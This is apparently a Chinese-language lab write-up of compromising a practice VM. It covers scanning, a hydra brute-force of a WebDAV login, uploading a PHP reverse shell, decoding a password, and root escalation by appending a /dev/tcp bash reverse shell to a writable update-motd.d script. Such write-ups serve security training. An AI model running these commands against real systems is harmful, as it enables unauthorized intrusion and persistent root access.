靶机渗透日记

1. IP探测

   

2. 端口扫描

   

3. 访问 80 端口

   

4. 目录扫描

   

   访问 tips.txt

   

   提示寻找 creds.txt ，访问 creds.txt 文件不存在

5. 访问 /webdav 目录

   WebDAV 基于 HTTP 协议的通信协议，在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法，使应用程序可对Web Server直接读写，并支持写文件锁定(Locking)及解锁(Unlock)，还可以支持文件的版本控制。因为基于HTTP，在广域网上共享文件有天然的优势，移动端文件管理APP也大多支持WebDAV协议。使用HTTPS还能保安全性。Apache和Nginx支持WebDAV，可作为WebDAV文件共享服务器软件。也可以使用专门的WebDAV软件部署。

   

   需要用户名密码才能登录

   生成字典

   cewl http://192.168.0.147  -w up.tx
   

   使用生成的字典爆破

   hydra -L up.txt -P up.txt 192.168.0.147 http-get /webdav
   

   

6. 上传反弹shell至webdav目录

   cadaver http://192.168.0.147/webdav
   

   

   监听6666端口，访问shell.php

   

   查看可写文件

   

   查看hell.sh

   

   通过 http://tool.bugku.com/brainfuck/?wafcloud=1 进行解密，得到“chitragupt”。

   通过下列用户尝试登陆SSH

   narak:x:1000:1000:narak,,,:/home/narak:/bin/bash
   yamdoot:x:1001:1001:,,,:/home/yamdoot:/bin/bash
   inferno:x:1002:1002:,,,:/home/inferno:/bin/bash
   

7. 搜索可写文件

   

   发现 /etc/update-motd.d 目录下的文件任意文件可读可写，具有root权限

   

   motd是负责ssh登录后，用来显示页面欢迎语提示语的，用户可以通过配置文件自定义欢迎提示信息。

   所以此时可以修改这些文件，在远程登录时触发，修改00-header文件，在尾部添加：

   echo 'sh -i >& /dev/tcp/192.168.0.128/7777 0>&1' | bash
   

   当重新ssh登录时，就会进行触发。